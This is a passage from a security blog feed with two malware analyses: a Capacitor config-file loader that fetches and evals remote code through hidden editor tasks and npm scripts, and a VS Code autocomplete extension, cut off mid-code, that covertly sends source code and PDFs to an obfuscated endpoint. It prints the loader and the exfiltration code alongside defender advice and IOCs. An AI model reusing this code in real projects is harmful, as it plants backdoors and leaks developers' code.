  <li>The public reporting around this sample attributes it to a state actor. The artifact does not support that claim, and no indicator list has been published.</li>
</ul>

<h2 id="the-file-that-is-not-a-config">The file that is not a config</h2>

<p>Capacitor projects keep a <code class="language-plaintext highlighter-rouge">capacitor.config.ts</code> at the repository root. The CLI resolves it at startup, so the file executes whenever a developer synchronises, opens, or runs the Android or iOS project.</p>

<p>The malicious version imports <code class="language-plaintext highlighter-rouge">dotenv/config</code> on line three. That import runs before any other statement in the file, which means the payload fires without a build step, without a test, and without the developer touching application code.</p>

<div class="language-ts highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="dl">'</span><span class="s1">dotenv/config</span><span class="dl">'</span><span class="p">;</span>

<span class="p">(</span><span class="k">async </span><span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">src</span> <span class="o">=</span> <span class="nf">atob</span><span class="p">(</span><span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">AUTH_API_KEY</span><span class="p">);</span>
  <span class="kd">const</span> <span class="p">{</span> <span class="nx">createRequire</span> <span class="p">}</span> <span class="o">=</span> <span class="k">await</span> <span class="k">import</span><span class="p">(</span><span class="dl">'</span><span class="s1">module</span><span class="dl">'</span><span class="p">);</span>
  <span class="kd">const</span> <span class="nx">require</span> <span class="o">=</span> <span class="nf">createRequire</span><span class="p">(</span><span class="k">import</span><span class="p">.</span><span class="nx">meta</span><span class="p">.</span><span class="nx">url</span><span class="p">);</span>
  <span class="kd">const</span> <span class="nx">proxy</span> <span class="o">=</span> <span class="p">(</span><span class="k">await</span> <span class="k">import</span><span class="p">(</span><span class="dl">'</span><span class="s1">node-fetch</span><span class="dl">'</span><span class="p">)).</span><span class="k">default</span><span class="p">;</span>
  <span class="k">try</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">response</span> <span class="o">=</span> <span class="k">await</span> <span class="nf">proxy</span><span class="p">(</span><span class="nx">src</span><span class="p">);</span>
    <span class="k">if </span><span class="p">(</span><span class="o">!</span><span class="nx">response</span><span class="p">.</span><span class="nx">ok</span><span class="p">)</span> <span class="k">throw</span> <span class="k">new</span> <span class="nc">Error</span><span class="p">(</span><span class="s2">`HTTP error! status: </span><span class="p">${</span><span class="nx">response</span><span class="p">.</span><span class="nx">status</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
    <span class="kd">const</span> <span class="nx">proxyInfo</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">response</span><span class="p">.</span><span class="nf">text</span><span class="p">();</span>
    <span class="nf">eval</span><span class="p">(</span><span class="nx">proxyInfo</span><span class="p">);</span>
  <span class="p">}</span> <span class="k">catch </span><span class="p">(</span><span class="nx">err</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">console</span><span class="p">.</span><span class="nf">error</span><span class="p">(</span><span class="dl">'</span><span class="s1">Auth Error!</span><span class="dl">'</span><span class="p">,</span> <span class="nx">err</span><span class="p">);</span>
  <span class="p">}</span>
<span class="p">})();</span>
</code></pre></div></div>

<p>Three choices carry the trick.</p>

<p>The first is the container. A configuration file is read as data by every reviewer and every diff viewer. Nobody audits <code class="language-plaintext highlighter-rouge">capacitor.config.ts</code> for control flow, because there is not supposed to be any.</p>

<p>The second is the indirection. The command server address is not in the file. It is base64 in <code class="language-plaintext highlighter-rouge">.env</code>, decoded at runtime. A reviewer who greps the diff for <code class="language-plaintext highlighter-rouge">http</code> finds nothing.</p>

<p>The third is the error handler. <code class="language-plaintext highlighter-rouge">console.error('Auth Error!', err)</code> prints a message that belongs to an authentication flow. When the fetch fails, when the environment variable is missing, when <code class="language-plaintext highlighter-rouge">node-fetch</code> is not installed, the developer sees an auth complaint from a mobile app. The natural response is to check credentials.</p>

<h2 id="four-ways-in">Four ways in</h2>

<p>The same repository shows the loader is not a single trick but one layer of a delivery chain. All of it arrived in one commit.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> open repo in VS Code ──► hidden folderOpen task ──► node fa-brand-400.orc ─┐
 npm run dev / build  ──► node init ───────────────────────────────────────┼──► stage 2
 npx cap sync/open/run ──► import capacitor.config.ts ─────────────────────┘
</code></pre></div></div>

<p><strong>The editor task.</strong> <code class="language-plaintext highlighter-rouge">.vscode/tasks.json</code> defines a task labelled <code class="language-plaintext highlighter-rouge">eslint-check</code> with <code class="language-plaintext highlighter-rouge">"runOn": "folderOpen"</code>, <code class="language-plaintext highlighter-rouge">"hide": true</code>, and <code class="language-plaintext highlighter-rouge">"reveal": "never"</code>. Its command runs <code class="language-plaintext highlighter-rouge">node</code> against a file named <code class="language-plaintext highlighter-rouge">fa-brand-400.orc</code>, stored inside a <code class="language-plaintext highlighter-rouge">public/fonts/</code> directory next to genuine FontAwesome assets. The paired <code class="language-plaintext highlighter-rouge">.vscode/settings.json</code> sets <code class="language-plaintext highlighter-rouge">"task.allowAutomaticTasks": true</code>, which suppresses the prompt that would otherwise ask the user to approve automatic tasks.</p>

<p><strong>The npm scripts.</strong> <code class="language-plaintext highlighter-rouge">package.json</code> gained a prefix on two scripts: <code class="language-plaintext highlighter-rouge">"dev": "node init &amp;&amp; vite"</code> and <code class="language-plaintext highlighter-rouge">"build": "node init &amp;&amp; tsc &amp;&amp; vite build"</code>. The obfuscated module is 31,236 bytes and exports a plausible <code class="language-plaintext highlighter-rouge">init</code> function, so the file reads like project plumbing.</p>

<p><strong>The config import.</strong> Any Capacitor CLI command evaluates the loader described above.</p>

<p><strong>The module import.</strong> <code class="language-plaintext highlighter-rouge">init</code> is a valid CommonJS module. Any <code class="language-plaintext highlighter-rouge">require('./init')</code> in the project, or any tool that imports it, runs the same obfuscated body.</p>

<p>Each path is individually deniable. Together they cover the three actions a developer performs on an unfamiliar repository: open it, install it, run it.</p>

<h2 id="why-the-disguise-holds">Why the disguise holds</h2>

<table>
  <thead>
    <tr>
      <th>Attacker choice</th>
      <th>Defender assumption it defeats</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Payload in a config file</td>
      <td>“Config is data, source is code”</td>
    </tr>
    <tr>
      <td>Import-time execution via <code class="language-plaintext highlighter-rouge">dotenv/config</code></td>
      <td>“The build will show me what runs”</td>
    </tr>
    <tr>
      <td>Address supplied by a base64 environment variable</td>
      <td>“I grepped the diff for URLs”</td>
    </tr>
    <tr>
      <td>Failure printed as an auth error</td>
      <td>“I would notice a malware error”</td>
    </tr>
    <tr>
      <td>Hidden task with automatic approval enabled</td>
      <td>“VS Code asks before running tasks”</td>
    </tr>
    <tr>
      <td>Obfuscated module named <code class="language-plaintext highlighter-rouge">init</code></td>
      <td>“An unfamiliar file would stand out”</td>
    </tr>
  </tbody>
</table>

<p>The last row is the one that matters most in practice. Neither <code class="language-plaintext highlighter-rouge">init</code> nor <code class="language-plaintext highlighter-rouge">fa-brand-400.orc</code> contains a readable string. Both use a rotated string table with arithmetic-built indices, so a static read yields no domains, no paths, and no commands.</p>

<h2 id="the-payload">The payload</h2>

<p>Stage two no longer resolves. <code class="language-plaintext highlighter-rouge">https[://]files.catbox[.]moe/e8jt91.js</code> returns HTTP 404 as of 2026-10-28. Catbox is a legitimate file hosting service; the deleted object is the only malicious element there.</p>

<p>A 404 does not disarm the delivery. The loader still runs on every Capacitor command, and the editor task still fires when the folder opens. The threat actor only has to upload a new object and update one environment value to restore execution, and that update does not require a commit to the application code.</p>

<p>The two obfuscated modules were not decompiled for this analysis. Static inspection confirms they contain no plaintext indicators and that they load through <code class="language-plaintext highlighter-rouge">require</code>, which gives them the module system and therefore the ability to spawn processes.</p>

<h2 id="the-fix-that-came-back">The fix that came back</h2>

<p>The repository’s own commit history is the part worth reading twice.</p>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Commit</th>
      <th>Event</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2026-07-11</td>
      <td><code class="language-plaintext highlighter-rouge">chore: remove sensitive AUTH_API_KEY from environment file</code></td>
      <td>The environment key is scrubbed and <code class="language-plaintext highlighter-rouge">.env</code> is added to <code class="language-plaintext highlighter-rouge">.gitignore</code></td>
    </tr>
    <tr>
      <td>2026-08-18</td>
      <td><code class="language-plaintext highlighter-rouge">fix: remove injected remote-eval backdoor from capacitor.config.ts</code></td>
      <td>Fourteen lines deleted; the commit message explains the <code class="language-plaintext highlighter-rouge">atob</code> / <code class="language-plaintext highlighter-rouge">node-fetch</code> / <code class="language-plaintext highlighter-rouge">eval</code> chain and notes that neither <code class="language-plaintext highlighter-rouge">node-fetch</code> nor <code class="language-plaintext highlighter-rouge">dotenv</code> is a declared dependency</td>
    </tr>
    <tr>
      <td>2026-10-18</td>
      <td><code class="language-plaintext highlighter-rouge">docs: replace generic architecture diagram with real one</code></td>
      <td>The loader, the environment key, the editor task, the 29 KB <code class="language-plaintext highlighter-rouge">.orc</code> file, <code class="language-plaintext highlighter-rouge">init</code>, and the npm script prefixes all return</td>
    </tr>
  </tbody>
</table>

<p>The August removal was correct and complete. The October commit put everything back while adding font assets, a README rewrite, and an unrelated <code class="language-plaintext highlighter-rouge">.env</code> change.</p>

<p>An organisation that scans a repository once, or reviews a pull request once, has no control here. The malicious state was absent for two months and then present again, in a commit whose message describes documentation.</p>

<h2 id="linkage-evidence">Linkage evidence</h2>

<p>The same loader appeared in a second repository within the same week. That repository is a large, actively developed mobile project, and it was cleaned within hours of the sample being noticed. The blame view that circulated publicly is from that second repository.</p>

<p>What links the two samples:</p>

<ul>
  <li>The loader body is the same, including the <code class="language-plaintext highlighter-rouge">atob(process.env.AUTH_API_KEY)</code> construction, the <code class="language-plaintext highlighter-rouge">createRequire(import.meta.url)</code> preamble, the <code class="language-plaintext highlighter-rouge">node-fetch</code> proxy, and the <code class="language-plaintext highlighter-rouge">'Auth Error!'</code> catch string.</li>
  <li>Both hide execution behind a file the project treats as configuration rather than code.</li>
  <li>Both obfuscate the second stage into a module with a plausible project name.</li>
</ul>

<p>What the available evidence does not establish: a single threat actor. No shared command server is observable, because the only known object is deleted. No shared certificate, no shared publishing account, and no shared build artefact ties the two repositories together. The loader is a pattern that spreads by copy as easily as by direction.</p>

<p>The public claim that this is North Korean activity is not supported by anything in the artifact. The technique overlaps with documented campaigns that use developer tooling and remote fetch-and-evaluate stages. Neither element is exclusive to any actor, and attribution at that level needs evidence that is not public.</p>

<h2 id="outlook">Outlook</h2>

<p>Config-file execution will increase because the incentive is structural. Every framework with a typed configuration file at the repository root inherits the same property: the file executes, reviewers read it as data, and the registry that hosts the package never inspects it.</p>

<p>Editor tasks are the quieter problem. A <code class="language-plaintext highlighter-rouge">.vscode/tasks.json</code> with <code class="language-plaintext highlighter-rouge">runOn: folderOpen</code> runs on open, and the paired setting that disables the approval prompt ships in the same commit. Cloning a repository is enough. Installing nothing is enough.</p>

<p>Expect the same shape in other wrappers: <code class="language-plaintext highlighter-rouge">next.config.js</code>, <code class="language-plaintext highlighter-rouge">vite.config.ts</code>, <code class="language-plaintext highlighter-rouge">jest.config.js</code>, <code class="language-plaintext highlighter-rouge">tsconfig.json</code> with plugins, and any file a build tool imports for you.</p>

<h2 id="what-defenders-can-do">What defenders can do</h2>

<p>Treat repository-root configuration as executable code and review changes to it as carefully as changes to <code class="language-plaintext highlighter-rouge">main</code>.</p>

<ul>
  <li>Review <code class="language-plaintext highlighter-rouge">.vscode/</code>, <code class="language-plaintext highlighter-rouge">.env</code>, and every <code class="language-plaintext highlighter-rouge">*.config.*</code> file in a pull request. A commit that touches them alongside documentation or assets deserves a second read.</li>
  <li>Keep <code class="language-plaintext highlighter-rouge">task.allowAutomaticTasks</code> disabled in user settings, and treat any repository that sets it as hostile until proven otherwise.</li>
  <li>Read <code class="language-plaintext highlighter-rouge">scripts</code> in <code class="language-plaintext highlighter-rouge">package.json</code> on every update. A prefix like <code class="language-plaintext highlighter-rouge">node init &amp;&amp;</code> is a change to what <code class="language-plaintext highlighter-rouge">npm run build</code> means.</li>
  <li>Disable <code class="language-plaintext highlighter-rouge">dotenv</code> auto-loading in build tooling where the project does not need it.</li>
  <li>Recheck a repository after a remediation. A fix is a state, not a control.</li>
</ul>

<p>The general principle: a repository is an execution environment, not a document. Opening it is an action with consequences, and the consequences are decided by files nobody thinks of as code.</p>

<h2 id="iocs">IOCs</h2>

<p><strong>Behavioural</strong></p>

<table>
  <thead>
    <tr>
      <th>Pattern</th>
      <th>Detail</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Config import loader</td>
      <td><code class="language-plaintext highlighter-rouge">capacitor.config.ts</code> containing <code class="language-plaintext highlighter-rouge">atob(process.env.AUTH_API_KEY)</code> and <code class="language-plaintext highlighter-rouge">eval</code> of a fetched response</td>
    </tr>
    <tr>
      <td>Editor auto-run</td>
      <td><code class="language-plaintext highlighter-rouge">.vscode/tasks.json</code> with <code class="language-plaintext highlighter-rouge">"runOn": "folderOpen"</code>, <code class="language-plaintext highlighter-rouge">"hide": true</code>, <code class="language-plaintext highlighter-rouge">"reveal": "never"</code></td>
    </tr>
    <tr>
      <td>Approval suppression</td>
      <td><code class="language-plaintext highlighter-rouge">.vscode/settings.json</code> with <code class="language-plaintext highlighter-rouge">"task.allowAutomaticTasks": true</code></td>
    </tr>
    <tr>
      <td>Script prefix</td>
      <td><code class="language-plaintext highlighter-rouge">package.json</code> scripts beginning <code class="language-plaintext highlighter-rouge">node &lt;name&gt; &amp;&amp;</code></td>
    </tr>
    <tr>
      <td>Masqueraded module</td>
      <td>Obfuscated JavaScript under <code class="language-plaintext highlighter-rouge">public/fonts/</code> using an unrelated extension (<code class="language-plaintext highlighter-rouge">.orc</code>, <code class="language-plaintext highlighter-rouge">.eot</code>, <code class="language-plaintext highlighter-rouge">.woff</code>)</td>
    </tr>
    <tr>
      <td>Error camouflage</td>
      <td><code class="language-plaintext highlighter-rouge">console.error('Auth Error!', err)</code> in a non-auth code path</td>
    </tr>
  </tbody>
</table>

<p><strong>Indicators</strong></p>

<table>
  <thead>
    <tr>
      <th>Type</th>
      <th>Value</th>
      <th>Status</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>URL</td>
      <td><code class="language-plaintext highlighter-rouge">https[://]files.catbox[.]moe/e8jt91.js</code></td>
      <td>HTTP 404 on 2026-10-28</td>
    </tr>
    <tr>
      <td>Environment value</td>
      <td><code class="language-plaintext highlighter-rouge">AUTH_API_KEY</code> = base64 of the URL above</td>
      <td>—</td>
    </tr>
    <tr>
      <td>File</td>
      <td><code class="language-plaintext highlighter-rouge">capacitor.config.ts</code>, SHA-256 <code class="language-plaintext highlighter-rouge">c88a2204c0900a621b05b91c32ab2844e17165916eadf4230039f718e0c49723</code></td>
      <td>979 bytes</td>
    </tr>
    <tr>
      <td>File</td>
      <td><code class="language-plaintext highlighter-rouge">fa-brand-400.orc</code>, SHA-256 <code class="language-plaintext highlighter-rouge">1835d0aa55d6589cecac33aa1a494d76b8ce33632674f18e16b9278edbf3053a</code></td>
      <td>29,474 bytes</td>
    </tr>
    <tr>
      <td>File</td>
      <td><code class="language-plaintext highlighter-rouge">init</code></td>
      <td>31,236 bytes, obfuscated</td>
    </tr>
  </tbody>
</table>]]></content><author><name></name></author><category term="Threat Intel" /><category term="github" /><category term="capacitor" /><category term="supply-chain" /><category term="code-execution" /><category term="vscode" /><category term="npm" /><summary type="html"><![CDATA[A 1 KB change to a Capacitor config file turns four ordinary developer actions into remote code execution, and the implant's failure mode is a login error.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://yeethsecurity.com/assets/blog/capacitor-auth-error-loader.png" /><media:content medium="image" url="https://yeethsecurity.com/assets/blog/capacitor-auth-error-loader.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">The Silent Autocomplete: Lolpaon.umltocode Hides Where Your Code Goes</title><link href="https://yeethsecurity.com/blog/2026-10-26-Lolpaon-Umltocode-Silent-Autocomplete" rel="alternate" type="text/html" title="The Silent Autocomplete: Lolpaon.umltocode Hides Where Your Code Goes" /><published>2026-10-26T00:00:00+00:00</published><updated>2026-10-26T00:00:00+00:00</updated><id>https://yeethsecurity.com/blog/Lolpaon-Umltocode-Silent-Autocomplete</id><content type="html" xml:base="https://yeethsecurity.com/blog/2026-10-26-Lolpaon-Umltocode-Silent-Autocomplete"><![CDATA[<p>Turning a PlantUML diagram into ready-to-compile Java classes is the kind of chore a developer is happy to hand to an extension. <code class="language-plaintext highlighter-rouge">Lolpaon.umltocode</code> has done that job since February 2026 under the Marketplace name <strong>UML to Code</strong>. It has 326 installs, two ratings, both five stars, and a description that talks about diagram parsing and nothing else.</p>

<p>The listing started changing on October 22. Between then and October 26 the publisher shipped seven public builds. The changelog frames the work as performance and context quality: faster completions, PDF awareness, a cleaner command palette. The 1.0.0 entry is more direct. It announces “complete obfuscation of network addresses” and states that no IP address or hostname appears in plaintext in the source.</p>

<p>The extension also runs an inline completion provider that is enabled by default and covers every file in the editor. Each debounced keystroke sends the file path, the surrounding source, the compiler diagnostics, other files in the folder, and text pulled from PDFs to a host the code hides. Certificate validation is disabled on that channel. In the current build the status-bar indicator is gone, so nothing on screen shows that the channel is open.</p>

<h2 id="tldr">TL;DR</h2>

<ul>
  <li><strong>The extension is still listed.</strong> <code class="language-plaintext highlighter-rouge">Lolpaon.umltocode</code> 1.0.5 was the current build on October 26, 2026 at 21:37 UTC.</li>
  <li><strong>The completion provider is on by default.</strong> It registers for <code class="language-plaintext highlighter-rouge">**</code>, <code class="language-plaintext highlighter-rouge">file</code>, and <code class="language-plaintext highlighter-rouge">untitled</code> on <code class="language-plaintext highlighter-rouge">onStartupFinished</code>, with a 150 ms debounce and no consent prompt.</li>
  <li><strong>Each request carries more than the current line.</strong> The payload includes the absolute file path, up to 7,000 characters before the cursor, 2,000 after it, the file’s diagnostics, nearby comments, folder diagrams, up to four neighbouring code files, and up to three extracted PDFs.</li>
  <li><strong>The destination is deliberately hidden.</strong> Hostnames and addresses are stored in a base64 string table and XOR-decoded with <code class="language-plaintext highlighter-rouge">0x42</code> at runtime.</li>
  <li><strong>The hidden destination is a legitimate AI gateway.</strong> The hardcoded addresses resolve to <code class="language-plaintext highlighter-rouge">api.kilo.ai</code> and <code class="language-plaintext highlighter-rouge">ai-gateway.kilo.ai</code>, a third-party inference service. The extension authenticates with the literal token <code class="language-plaintext highlighter-rouge">anonymous</code>.</li>
  <li><strong>TLS verification is off on every hop.</strong> <code class="language-plaintext highlighter-rouge">rejectUnauthorized: false</code> appears on completion requests, on DNS-over-HTTPS lookups, and inside proxy tunnels. Nothing in the channel proves the peer is Kilo.</li>
  <li><strong>There is no shell, no persistence, and no second stage.</strong> The extension is not a dropper. The problem is what it sends, where it sends it, and the channel it uses.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Version</th>
      <th>Published (UTC)</th>
      <th>Change</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>0.0.4</td>
      <td>2026-02-05 18:44</td>
      <td>Last build before an eight-month gap. Diagram parsing and Java generation only.</td>
    </tr>
    <tr>
      <td>0.0.5</td>
      <td>2026-10-22 23:39</td>
      <td>Multi-language generators and SQL output return.</td>
    </tr>
    <tr>
      <td>0.0.6</td>
      <td>2026-10-23 12:18</td>
      <td>Not described in the changelog.</td>
    </tr>
    <tr>
      <td>0.0.7</td>
      <td>2026-10-23 12:18</td>
      <td>Activates on <code class="language-plaintext highlighter-rouge">onStartupFinished</code>. Completion client present.</td>
    </tr>
    <tr>
      <td>0.0.8</td>
      <td>2026-10-26 14:16</td>
      <td>Folder context: Draw.io and PlantUML scanning, schema awareness.</td>
    </tr>
    <tr>
      <td>0.0.9</td>
      <td>2026-10-26 18:33</td>
      <td>DNS-over-HTTPS, proxy tunnelling, <code class="language-plaintext highlighter-rouge">privateBrowsing</code> setting, default on.</td>
    </tr>
    <tr>
      <td>1.0.0</td>
      <td>2026-10-26 18:48</td>
      <td>Endpoint strings obfuscated. Default server becomes <code class="language-plaintext highlighter-rouge">"auto"</code>.</td>
    </tr>
    <tr>
      <td>1.0.5</td>
      <td>2026-10-26 21:37</td>
      <td>Status-bar indicator and connection-test command removed.</td>
    </tr>
  </tbody>
</table>

<p>The changelog also documents 1.0.1 through 1.0.4 on October 26. Those four builds do not appear in the public version list. The 1.0.1 entry describes a “payload format” correction, and the 1.0.5 entry describes “maximum discretion”: the diagnostic commands and the status-bar button were removed, and the completion engine now runs “100% silently” in the background.</p>

<h2 id="why-the-vector-works">Why the vector works</h2>

<p>Two expectations do the work.</p>

<p>A UML tool is expected to read the project folder. It opens <code class="language-plaintext highlighter-rouge">.puml</code> and <code class="language-plaintext highlighter-rouge">.drawio</code> files, parses them, and writes generated source next to the diagram. Scanning a directory for diagrams is the advertised function, so a folder read does not look anomalous.</p>

<p>An autocomplete engine is expected to read the current file, and often the files around it. Sending code to a model is what completion extensions do. The question a user should ask is where the model runs, and the listing does not answer that question.</p>

<p>The permission model cannot answer it either. A VS Code extension runs in the extension host with the same file and network access as the editor. The Marketplace can express that an extension executes code, and the manifest for this one sets <code class="language-plaintext highlighter-rouge">Microsoft.VisualStudio.Code.ExecutesCode</code> to <code class="language-plaintext highlighter-rouge">true</code>. It cannot express “may parse diagrams but may not transmit source.”</p>

<p>The publisher carries the Marketplace “verified” flag. That flag confirms a verified account, not a code review, and the publisher has no verified domain.</p>

<h2 id="activation">Activation</h2>

<p>The manifest declares <code class="language-plaintext highlighter-rouge">onStartupFinished</code> alongside the language activation events. The provider is registered before the user runs any command:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">completionRegistration</span> <span class="o">=</span> <span class="nx">vscode</span><span class="p">.</span><span class="nx">languages</span><span class="p">.</span><span class="nf">registerInlineCompletionItemProvider</span><span class="p">([</span>
    <span class="p">{</span> <span class="na">pattern</span><span class="p">:</span> <span class="dl">'</span><span class="s1">**</span><span class="dl">'</span> <span class="p">},</span>
    <span class="p">{</span> <span class="na">scheme</span><span class="p">:</span> <span class="dl">'</span><span class="s1">file</span><span class="dl">'</span> <span class="p">},</span>
    <span class="p">{</span> <span class="na">scheme</span><span class="p">:</span> <span class="dl">'</span><span class="s1">untitled</span><span class="dl">'</span> <span class="p">}</span>
<span class="p">],</span> <span class="nx">inlineProvider</span><span class="p">);</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">getConfig()</code> reads <code class="language-plaintext highlighter-rouge">umltocode.completion.enabled</code> with a default of <code class="language-plaintext highlighter-rouge">true</code>. There is no first-run dialog, no notification, and no entry in the command palette that mentions completion. The only visible command is the UML conversion.</p>

<h2 id="collection">Collection</h2>

<p><code class="language-plaintext highlighter-rouge">extractContext()</code> assembles the request payload. The file path is absolute, so the project name and directory structure are included:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">sections</span><span class="p">.</span><span class="nf">push</span><span class="p">(</span><span class="s2">`Source File: </span><span class="p">${</span><span class="nx">context</span><span class="p">.</span><span class="nx">filePath</span><span class="p">}</span><span class="s2"> (</span><span class="p">${</span><span class="nx">context</span><span class="p">.</span><span class="nx">languageId</span><span class="p">}</span><span class="s2">)`</span><span class="p">);</span>
<span class="nx">sections</span><span class="p">.</span><span class="nf">push</span><span class="p">(</span><span class="s2">`[Code before cursor]:\n</span><span class="p">${</span><span class="nx">context</span><span class="p">.</span><span class="nx">prefix</span><span class="p">.</span><span class="nf">slice</span><span class="p">(</span><span class="o">-</span><span class="mi">7000</span><span class="p">)}</span><span class="s2">`</span><span class="p">);</span>
<span class="nx">sections</span><span class="p">.</span><span class="nf">push</span><span class="p">(</span><span class="s2">`[Code after cursor]:\n</span><span class="p">${</span><span class="nx">context</span><span class="p">.</span><span class="nx">suffix</span><span class="p">.</span><span class="nf">slice</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">2000</span><span class="p">)}</span><span class="s2">`</span><span class="p">);</span>
</code></pre></div></div>

<p>Before that, the function collects every Error and Warning diagnostic for the file and every comment in the twelve lines above the cursor. Diagnostics expose internal paths, type names, and sometimes secrets in error messages. Comments carry the developer’s working notes.</p>

<p>For saved files, <code class="language-plaintext highlighter-rouge">FolderContext.getFolderContext()</code> then runs <code class="language-plaintext highlighter-rouge">fs.readdirSync</code> on the containing directory and adds three more classes of content:</p>

<ul>
  <li><strong>Diagrams.</strong> <code class="language-plaintext highlighter-rouge">.drawio</code>, <code class="language-plaintext highlighter-rouge">.xml</code>, <code class="language-plaintext highlighter-rouge">.puml</code>, <code class="language-plaintext highlighter-rouge">.plantuml</code>, and <code class="language-plaintext highlighter-rouge">.uml</code> files are parsed and reduced to table and relation summaries.</li>
  <li><strong>Neighbouring code.</strong> Up to four files with <code class="language-plaintext highlighter-rouge">.js</code>, <code class="language-plaintext highlighter-rouge">.ts</code>, <code class="language-plaintext highlighter-rouge">.py</code>, <code class="language-plaintext highlighter-rouge">.java</code>, <code class="language-plaintext highlighter-rouge">.cs</code>, <code class="language-plaintext highlighter-rouge">.cpp</code>, or <code class="language-plaintext highlighter-rouge">.sql</code> extensions are ranked by filename proximity, by theory and example keywords, and by shared strings. The first 1,600 characters of each are included.</li>
  <li><strong>PDFs.</strong> Up to three PDFs are read from the same folder, decompressed with a pure-JavaScript FlateDecode parser, and reduced to 4,000 characters of text each.</li>
</ul>

<p>The PDF parser is the clearest statement of intent. A diagram converter has no reason to implement a PDF text extractor. The changelog names the target directly: it detects a matching assignment brief such as <code class="language-plaintext highlighter-rouge">205_Epee.pdf</code> next to <code class="language-plaintext highlighter-rouge">205_Epee.js</code>, plus course theory PDFs, and feeds their coordinates and formulas into the completion. Other entries reference exercise files by name, including <code class="language-plaintext highlighter-rouge">203_SabreLaser.js</code>, <code class="language-plaintext highlighter-rouge">204_Fleche.js</code>, and a set of p5.js vector-graphics labs.</p>

<p>The folder scan is cached per document for 15 seconds, so it does not repeat on every keystroke. The document text still goes out on every request.</p>

<h2 id="endpoint-resolution">Endpoint resolution</h2>

<p>The addresses are not visible in the source. A decoder runs at load time:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">_dec</span> <span class="o">=</span> <span class="p">(</span><span class="nx">b64</span><span class="p">,</span> <span class="nx">key</span> <span class="o">=</span> <span class="mh">0x42</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span> <span class="cm">/* base64 → binary → XOR each byte */</span> <span class="p">};</span>

<span class="kd">const</span> <span class="nx">REMOTE_GATEWAY_HOST</span> <span class="o">=</span> <span class="nf">_dec</span><span class="p">(</span><span class="dl">'</span><span class="s1">IytvJSM2JzUjO2wpKy4tbCMr</span><span class="dl">'</span><span class="p">);</span>            <span class="c1">// "ai-gateway.kilo.ai"</span>
<span class="kd">const</span> <span class="nx">DEFAULT_SERVER_ADDR</span> <span class="o">=</span> <span class="nf">_dec</span><span class="p">(</span><span class="dl">'</span><span class="s1">KjY2MjF4bW10dmxwcXtsc3BxbHNwe3h2dnFtIzIrbTRz</span><span class="dl">'</span><span class="p">);</span>
                                                                         <span class="c1">// "https://64.239.123.129:443/api/v1"</span>
<span class="kd">const</span> <span class="nx">KNOWN_GATEWAY_IPS</span> <span class="o">=</span> <span class="p">[</span>
    <span class="nf">_dec</span><span class="p">(</span><span class="dl">'</span><span class="s1">dHZscHF7bHNwcWxzcHs=</span><span class="dl">'</span><span class="p">),</span>  <span class="c1">// "64.239.123.129"</span>
    <span class="nf">_dec</span><span class="p">(</span><span class="dl">'</span><span class="s1">dHZscHF7bHNye2xzcHs=</span><span class="dl">'</span><span class="p">),</span>  <span class="c1">// "64.239.109.129"</span>
    <span class="nf">_dec</span><span class="p">(</span><span class="dl">'</span><span class="s1">dHZscHF7bHNwcWx0dw==</span><span class="dl">'</span><span class="p">),</span>  <span class="c1">// "64.239.123.65"</span>
    <span class="nf">_dec</span><span class="p">(</span><span class="dl">'</span><span class="s1">dHZscHF7bHNye2x0dw==</span><span class="dl">'</span><span class="p">),</span>  <span class="c1">// "64.239.109.65"</span>
<span class="p">];</span>
</code></pre></div></div>

<p>When the configured address is <code class="language-plaintext highlighter-rouge">"auto"</code>, which is the default, the client uses the raw IP. It then injects the gateway hostname as the HTTP <code class="language-plaintext highlighter-rouge">Host</code> header and as the TLS server name:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">isIp</span> <span class="o">=</span> <span class="sr">/^</span><span class="se">(\d{1,3}\.){3}\d{1,3}</span><span class="sr">$/</span><span class="p">.</span><span class="nf">test</span><span class="p">(</span><span class="nx">parsed</span><span class="p">.</span><span class="nx">hostname</span><span class="p">);</span>
<span class="k">if </span><span class="p">(</span><span class="nx">isIp</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nx">finalHeaders</span><span class="p">[</span><span class="dl">'</span><span class="s1">Host</span><span class="dl">'</span><span class="p">])</span> <span class="p">{</span>
    <span class="nx">finalHeaders</span><span class="p">[</span><span class="dl">'</span><span class="s1">Host</span><span class="dl">'</span><span class="p">]</span> <span class="o">=</span> <span class="nx">REMOTE_GATEWAY_HOST</span><span class="p">;</span>
<span class="p">}</span>
<span class="kd">const</span> <span class="nx">options</span> <span class="o">=</span> <span class="p">{</span>
    <span class="na">hostname</span><span class="p">:</span> <span class="nx">parsed</span><span class="p">.</span><span class="nx">hostname</span><span class="p">,</span>
    <span class="na">rejectUnauthorized</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
